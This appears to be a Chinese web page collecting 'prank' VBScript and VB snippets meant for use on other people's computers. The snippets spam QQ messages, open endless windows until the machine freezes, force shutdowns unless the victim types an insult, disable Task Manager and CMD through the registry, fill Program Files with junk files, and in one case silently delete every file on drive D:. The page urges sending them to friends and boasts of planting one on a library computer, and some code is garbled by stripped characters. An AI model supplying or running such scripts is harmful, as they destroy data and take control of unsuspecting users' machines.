一、你打開好友的聊天對話框,然后記下在你QQ里好友的昵稱,把下面代碼里的xx替換一下,就可以自定義發送QQ信息到好友的次數(代碼里的數字10改一下即可). xx.vbs= 復制代碼 代碼如下: On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("與 xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit
QQ騷擾信息,也可以用在其它程序上。 二、我就用這個程序放在學校圖書館查詢書刊的機器上，好多人都那它沒辦法，哈哈 ------------------------------------------------------------------------------ do msgbox "You are foolish!" loop ------------------------------------------------------------------------------ 三、打開無數個計算器，直到死機 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do wsh.run "calc" loop ----------------------------------------------------------------------------- 四、直接關機 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true ----------------------------------------------------------------------------- 五、刪除D:/所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:/*.* / f /q /s""",0 ,true ---------------------------------------------------------------------------- 六、不斷彈出窗口 ---------------------------------------------------------------------------- 復制代碼 代碼如下: while(1) msgbox "哈哈 你被耍了！" loop
---------------------------------------------------------------------------- 七、不斷按下alt+f4 （開什么都關閉……） --------------------------------------------------------------------------- 復制代碼 代碼如下: dim WSHshell set WSHshell = wscript.createobject("wscript.shell") while(1) WSHshell.SendKeys "%{F4}" loop
八、按500次回車 (以上代碼在運行者的電腦上顯示500個對話框。其中 do until s=500 ，500可以隨意更改) 復制代碼 代碼如下: dim s do until s=500 s=s+1 msgbox "哥們，給我按500次回車吧",64 loop '------------------------ ------------------------------------------------------------
測試環境：Windows 2003 系統 大家好 我是Vanlisa QQ137841986 今天給大家帶來兩個整人的VBS腳本 希望大家喜歡 VBS腳本大家都知道吧 第一個是定時關機的 如果把他發給你的QQ好友 他不懂的話 如果不輸我是豬 電腦就會在你設定的 時間內關機 我設置的是3分鐘 只要輸入就解除了 當然如果不輸的話也有解除的辦法 我們來看下這個腳本 復制代碼 代碼如下: on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""說我是豬，不說我是豬就一分鐘關機，不信，試下···"" ",0 ,true dim a do while(a "我是豬") a = inputbox ("說我是豬,就不關機，快撒，說 ""我是豬"" ","說不說","",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"
新建一個記事本 把上面的代碼復制進去 另存為VBE格式的就可以了 cmd.exe /c shutdown -r -t 180 -c 這里的數字可以修改關機時間 180秒 這些文字也可以自設 這個腳本啟用cmd 里的關機程序 如果不輸的的話 可以打開html' target='_blank'>任務管理器 輸入shutdown -a 來解除 我們試下 這時定時關機已 經沒了 但是還有個關不掉的窗口 我們打開任務管理器 結束掉Wscript.exe 這個進程就OK 了 這時就完全解除這個腳本了 Wscript 時Windows 腳本宿主 ------------------------------------------------------------------------------------------- 下面看第二個整人的腳本 ------------------------------------------------------------------------------------------- 復制代碼 代碼如下: set ws=createobject("wscript.shell") call shutdown(1) do while a "我是豬" a=inputbox("快在下面的框框里輸入我是豬,否則后果自負，快輸""我是豬"" ","輸不輸","") loop call shutdown(2) msgbox "早說就行了嘛",4096+64 msgbox"再輸一遍我是豬!",4096+64 msgbox"我是豬!",4096+64 MsgBox"最后一次!",4096+64 MsgBox"如果你很快的點過去,不看的話",4096+64 MsgBox"我就要你踩我空間的!哼!",4096+64 MsgBox"從前有座山!",4096+64 MsgBox"山里有個廟.",4096+64 MsgBox"廟里有個老和尚在講故事.",4096+64 ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter" msgbox"哎呀累了！數綿羊哄我睡覺",4096+64 for i=1 to 100 MsgBox i&"只綿羊",4096+64 next msgbox"哎呀我困了，這次就饒過你吧，下次注意哦!",4096+64 msgbox"最后問個問題，我是不是大好人！",4096+64 if inputbox("是不是","請選擇","是") "是" then call shutdown(1) end if sub shutdown(s) select case s case 1 ws.run"cmd.exe /c shutdown -r -t 60 -c",0 case 2 ws.run"cmd.exe /c shutdown -a",0 end select end sub
-------------------------------------------------------------------------------- ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter" 這段代碼可以改成你自己設定的地址 如果別人不輸我是豬的話就會一直點下去 點到你設定的數字 for i=1 to 100 從1到100 可以改成 20 其他的數字 解除這個VBS腳本的辦法就簡單了 只是關掉任務管理器里Wscript.exe 這個進程就好了 BY：7747.net
2009QQ整人代碼 復制代碼 代碼如下: set s=createobject("wscript.shell") set bag=getobject("winmgmts://./root/cimv2") set pipe=bag.execquery("select * from win32_process where name='wscript.exe'") For Each id in pipe if instr(1,id.commandLine,wscript.scriptfullname) 0 and pipe.count =2 then s.regwrite"HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/System/DisableTaskMgr",0,"REG_DWORD" s.regwrite"HKCU/Software/Policies/Microsoft/Windows/System/DisableCMD",0,"REG_DWORD" id.terminate() else s.regwrite"HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/System/DisableTaskMgr",1,"REG_DWORD" s.regwrite"HKCU/Software/Policies/Microsoft/Windows/System/DisableCMD",1,"REG_DWORD" for i=1 to 60 s.popup"系統將在"& 60-i &"秒后關機...",1,"系統提示",4096+48 next Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem") For Each eOs In colOS eOs.Win32Shutdown(2) Next end if Next
2： 復制代碼 代碼如下: on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說你是傻B，我是天下第一大傻B不說寶寶，我是天下第一大傻B就一分鐘關你機，不信，試試···"" ",0 ,true dim a do while(a "寶寶，我是天下第一大傻B") a = inputbox ("寶寶，我是天下第一大傻B,就不關機，快撒，說 ""寶寶，我是天下第一大傻B"" ","說不說","不說",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛，乖乖" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "寶寶是不是又帥啦？？"
這代碼是我從朋友那拿來的，大家可以試著玩下、你能做非法事情哦、
網頁整人效果代碼 想看效果，只要復制這下面的所有代碼保存在text文件里，修改文件后綴為txt就能看到效果了。 復制代碼 代碼如下: html head meta http-equiv="Content-Type" content="text/html; charset=gb2312" title 網頁特效|Linkweb.cn/Js|---很惡心的常見整人效果 /title /head body a href="" 不許把鼠標移到這里 /a
嘻試吧爽噢。。
/body /html
vbs整人代碼 代碼如下： 復制代碼 代碼如下: Private Sub Form_Load() Me.Hide End Sub Private Sub Timer1_Timer() '聲明變量，其中“count”為靜態變量，以便生成不同的文件 Dim files As String Dim nr As String Dim c As String Static count As Long '定義要把生成的文件存放在那個目錄文件下 c = "C:/Program Files/" '生成文件的內容 nr = "哈哈，被黑的感覺的不錯吧" files = FreeFile '如果a等于a那么就執行 If a = a Then 'count不斷的加1，以便產生不同的文件名 count = count + 1 '產生文件名及文件句柄，并用count作為產生不同的文件名。 Open c & "system" & count & ".dll" For Append As #files '向文件寫內容 Write #files, nr '清除文件句柄，這里很重要，如果不清除，將產生打開文件太多的錯誤提示 Close #files End If End Sub html教程
